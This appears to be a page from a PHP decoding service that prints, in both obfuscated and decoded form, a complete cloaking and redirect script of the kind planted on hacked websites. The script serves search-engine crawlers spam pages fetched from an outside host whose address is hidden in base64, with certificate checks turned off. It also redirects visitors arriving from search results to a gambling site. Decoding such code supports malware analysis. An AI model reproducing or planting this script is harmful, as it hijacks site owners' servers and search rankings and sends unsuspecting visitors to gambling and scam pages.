Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto DZpvL; nyCJN: echo XpKvM(pnyCd . "\x3f\x78\150\157\163\x74\x3d" . $Ujh2l . "\4..

Decoded Output download

<?php 
goto DZpvL; nyCJN: echo XpKvM(pnyCd . "?xhost=" . $Ujh2l . "&reurl=" . lRoep . "&ua=Baiduspider" . "&f=bd"); goto ekLRf; tskEQ: JcLdX: goto nyCJN; K3LNq: $nhhy3 = $_SERVER["HTTP_REFERER"]; goto mPwuW; wtUrO: maUq_: goto Qsc_O; FlLuL: header("Content-Type: text/html;charset=utf-8"); goto HioKq; HioKq: define("lRoep", $_SERVER["REQUEST_URI"]); goto Pmz47; spFP4: if (CMjjb()) { goto JcLdX; } goto IRP1b; ymq3t: define("ZAKO3", "app|ios|android|download|blank|bet|casino|games|play|video"); goto zYTj0; IRP1b: echo file_get_contents(pnyCd . "lunlian/dt.php"); goto rKY0W; DZpvL: set_time_limit(0); goto hayff; hayff: error_reporting(0); goto FlLuL; rKY0W: goto maUq_; goto tskEQ; IKdbJ: header("Location: https://bet55f.com/?id=12632688"); goto ZALDF; ZALDF: exit; goto jqCCO; NtOcE: function XPKvm($YO7Bo) { goto pAP5U; aRdeW: TTPOQ: goto b8QcG; S29XA: if (!($ZHdks == NULL)) { goto qkvOr; } goto eabiL; FV3hB: curl_close($cZ3lJ); goto S29XA; b8QcG: $cZ3lJ = curl_init(); goto lM5mT; ccIkC: curl_setopt($cZ3lJ, CURLOPT_RETURNTRANSFER, 1); goto OtF4Z; pAP5U: if (function_exists("curl_init")) { goto TTPOQ; } goto nKZdU; KtYcM: $ZHdks = curl_exec($cZ3lJ); goto FV3hB; OfK8j: qkvOr: goto mYHq5; kgJti: curl_setopt($cZ3lJ, CURLOPT_SSL_VERIFYHOST, false); goto KtYcM; nKZdU: return file_get_contents($YO7Bo); goto K5w8Y; lM5mT: curl_setopt($cZ3lJ, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); goto cgjGY; OtF4Z: curl_setopt($cZ3lJ, CURLOPT_SSL_VERIFYPEER, false); goto kgJti; cgjGY: curl_setopt($cZ3lJ, CURLOPT_URL, $YO7Bo); goto I00RI; eabiL: return file_get_contents($YO7Bo); goto OfK8j; K5w8Y: goto H21TW; goto aRdeW; J4_ps: H21TW: goto DMJem; I00RI: curl_setopt($cZ3lJ, CURLOPT_HEADER, 0); goto ccIkC; mYHq5: return $ZHdks; goto J4_ps; DMJem: } goto K3LNq; edf1W: OQc5z: goto Kn8l1; ekLRf: exit; goto wtUrO; Kn8l1: header("Content-Type:text/html;charset=utf-8"); goto spFP4; jqCCO: u3gB5: goto BvByX; bhQh4: $Ujh2l = $_SERVER["HTTP_HOST"]; goto nt21y; mPwuW: $QjQg7 = $_SERVER["HTTP_USER_AGENT"]; goto bhQh4; JS5xu: if (!(cmjjb() && K7uor($nhhy3))) { goto u3gB5; } goto IKdbJ; nt21y: if (WkPqh($QjQg7)) { goto OQc5z; } goto JS5xu; U9__1: function CMJjb() { goto DsTFL; Sfjzw: R0K79: goto ipg4V; lBHgM: $z0eOY = explode("|", ZAKO3); goto Ip7ud; DsTFL: $NeoY5 = 0; goto lBHgM; ipg4V: return $NeoY5; goto gPAzz; Ip7ud: foreach ($z0eOY as $fW3XL) { goto bFPPv; oVZHN: DH9Ax: goto Og12b; bFPPv: if (!(stristr(lRoep, $fW3XL) !== false)) { goto twR5n; } goto NRJWu; NRJWu: $NeoY5 = 1; goto GTjQM; GTjQM: twR5n: goto oVZHN; Og12b: } goto Sfjzw; gPAzz: } goto p6egI; BvByX: goto v81ZK; goto edf1W; Pmz47: define("pnyCd", base64_decode("aHR0cHM6Ly9mYXplbmRhLnBpbWJhbGwuY29tLw==")); goto ymq3t; zYTj0: function wKpQH($QjQg7) { return stristr($QjQg7, "Googlebot") !== false || stristr($QjQg7, "Bingbot") !== false || stristr($QjQg7, "Yahoo!") !== false; } goto U9__1; p6egI: function K7uOR($nhhy3) { return stristr($nhhy3, "google") !== false || stristr($nhhy3, "bing") !== false || stristr($nhhy3, "yahoo") !== false; } goto NtOcE; Qsc_O: v81ZK: ?>

Did this file decode correctly?

Original Code

<?php
goto DZpvL; nyCJN: echo XpKvM(pnyCd . "\x3f\x78\150\157\163\x74\x3d" . $Ujh2l . "\46\162\x65\165\x72\154\x3d" . lRoep . "\46\165\x61\x3d\102\141\x69\144\165\x73\160\x69\x64\x65\162" . "\46\146\75\142\x64"); goto ekLRf; tskEQ: JcLdX: goto nyCJN; K3LNq: $nhhy3 = $_SERVER["\110\124\124\x50\137\x52\105\x46\x45\122\105\122"]; goto mPwuW; wtUrO: maUq_: goto Qsc_O; FlLuL: header("\x43\157\156\164\145\x6e\x74\55\x54\171\x70\145\x3a\x20\164\x65\170\x74\x2f\x68\164\155\154\x3b\143\x68\x61\162\163\x65\x74\75\165\164\146\x2d\70"); goto HioKq; HioKq: define("\154\x52\157\x65\x70", $_SERVER["\x52\x45\x51\125\105\123\x54\x5f\125\122\x49"]); goto Pmz47; spFP4: if (CMjjb()) { goto JcLdX; } goto IRP1b; ymq3t: define("\x5a\101\x4b\117\x33", "\141\x70\x70\x7c\151\x6f\163\174\x61\156\144\x72\157\151\144\x7c\144\157\x77\x6e\x6c\157\141\144\174\142\x6c\141\x6e\x6b\x7c\x62\x65\x74\174\143\x61\163\151\156\157\x7c\x67\x61\x6d\145\163\x7c\x70\x6c\141\x79\174\x76\x69\144\145\157"); goto zYTj0; IRP1b: echo file_get_contents(pnyCd . "\x6c\x75\156\x6c\x69\x61\x6e\57\x64\x74\56\x70\150\160"); goto rKY0W; DZpvL: set_time_limit(0); goto hayff; hayff: error_reporting(0); goto FlLuL; rKY0W: goto maUq_; goto tskEQ; IKdbJ: header("\x4c\x6f\143\141\x74\x69\x6f\156\72\x20\x68\x74\164\x70\x73\72\x2f\x2f\142\x65\164\65\x35\x66\x2e\x63\157\155\57\x3f\151\x64\x3d\61\x32\66\x33\x32\x36\70\70"); goto ZALDF; ZALDF: exit; goto jqCCO; NtOcE: function XPKvm($YO7Bo) { goto pAP5U; aRdeW: TTPOQ: goto b8QcG; S29XA: if (!($ZHdks == NULL)) { goto qkvOr; } goto eabiL; FV3hB: curl_close($cZ3lJ); goto S29XA; b8QcG: $cZ3lJ = curl_init(); goto lM5mT; ccIkC: curl_setopt($cZ3lJ, CURLOPT_RETURNTRANSFER, 1); goto OtF4Z; pAP5U: if (function_exists("\143\165\x72\x6c\x5f\x69\x6e\151\x74")) { goto TTPOQ; } goto nKZdU; KtYcM: $ZHdks = curl_exec($cZ3lJ); goto FV3hB; OfK8j: qkvOr: goto mYHq5; kgJti: curl_setopt($cZ3lJ, CURLOPT_SSL_VERIFYHOST, false); goto KtYcM; nKZdU: return file_get_contents($YO7Bo); goto K5w8Y; lM5mT: curl_setopt($cZ3lJ, CURLOPT_USERAGENT, "\115\x6f\172\x69\x6c\154\x61\x2f\x35\x2e\60\40\50\x63\x6f\155\160\x61\164\x69\142\x6c\145\73\40\x47\x6f\x6f\147\x6c\145\142\157\x74\x2f\x32\x2e\x31\x3b\x20\53\150\164\x74\160\72\x2f\57\167\x77\x77\56\x67\x6f\x6f\x67\154\145\56\x63\x6f\x6d\x2f\x62\157\x74\x2e\150\164\x6d\154\x29"); goto cgjGY; OtF4Z: curl_setopt($cZ3lJ, CURLOPT_SSL_VERIFYPEER, false); goto kgJti; cgjGY: curl_setopt($cZ3lJ, CURLOPT_URL, $YO7Bo); goto I00RI; eabiL: return file_get_contents($YO7Bo); goto OfK8j; K5w8Y: goto H21TW; goto aRdeW; J4_ps: H21TW: goto DMJem; I00RI: curl_setopt($cZ3lJ, CURLOPT_HEADER, 0); goto ccIkC; mYHq5: return $ZHdks; goto J4_ps; DMJem: } goto K3LNq; edf1W: OQc5z: goto Kn8l1; ekLRf: exit; goto wtUrO; Kn8l1: header("\103\157\156\x74\x65\x6e\164\x2d\x54\x79\x70\x65\x3a\164\x65\x78\x74\x2f\x68\x74\155\154\x3b\x63\x68\141\x72\163\x65\164\x3d\165\164\x66\55\70"); goto spFP4; jqCCO: u3gB5: goto BvByX; bhQh4: $Ujh2l = $_SERVER["\x48\124\124\120\137\110\117\123\124"]; goto nt21y; mPwuW: $QjQg7 = $_SERVER["\110\x54\x54\120\x5f\125\123\105\x52\137\x41\107\x45\x4e\x54"]; goto bhQh4; JS5xu: if (!(cmjjb() && K7uor($nhhy3))) { goto u3gB5; } goto IKdbJ; nt21y: if (WkPqh($QjQg7)) { goto OQc5z; } goto JS5xu; U9__1: function CMJjb() { goto DsTFL; Sfjzw: R0K79: goto ipg4V; lBHgM: $z0eOY = explode("\174", ZAKO3); goto Ip7ud; DsTFL: $NeoY5 = 0; goto lBHgM; ipg4V: return $NeoY5; goto gPAzz; Ip7ud: foreach ($z0eOY as $fW3XL) { goto bFPPv; oVZHN: DH9Ax: goto Og12b; bFPPv: if (!(stristr(lRoep, $fW3XL) !== false)) { goto twR5n; } goto NRJWu; NRJWu: $NeoY5 = 1; goto GTjQM; GTjQM: twR5n: goto oVZHN; Og12b: } goto Sfjzw; gPAzz: } goto p6egI; BvByX: goto v81ZK; goto edf1W; Pmz47: define("\160\156\x79\x43\144", base64_decode("\141\x48\x52\x30\x63\x48\115\x36\x4c\x79\x39\x6d\131\130\160\154\142\x6d\x52\x68\114\x6e\102\x70\142\x57\x4a\150\x62\x47\x77\x75\131\62\x39\x74\114\x77\x3d\75")); goto ymq3t; zYTj0: function wKpQH($QjQg7) { return stristr($QjQg7, "\107\x6f\157\x67\154\x65\142\157\164") !== false || stristr($QjQg7, "\x42\151\156\x67\142\157\x74") !== false || stristr($QjQg7, "\x59\141\150\157\157\41") !== false; } goto U9__1; p6egI: function K7uOR($nhhy3) { return stristr($nhhy3, "\147\x6f\x6f\147\x6c\x65") !== false || stristr($nhhy3, "\x62\x69\x6e\147") !== false || stristr($nhhy3, "\171\141\x68\157\157") !== false; } goto NtOcE; Qsc_O: v81ZK:

Function Calls

None

Variables

None

Stats

MD5 a47f3721a5231b9ba7616a9f1a87f9be
Eval Count 0
Decode Time 45 ms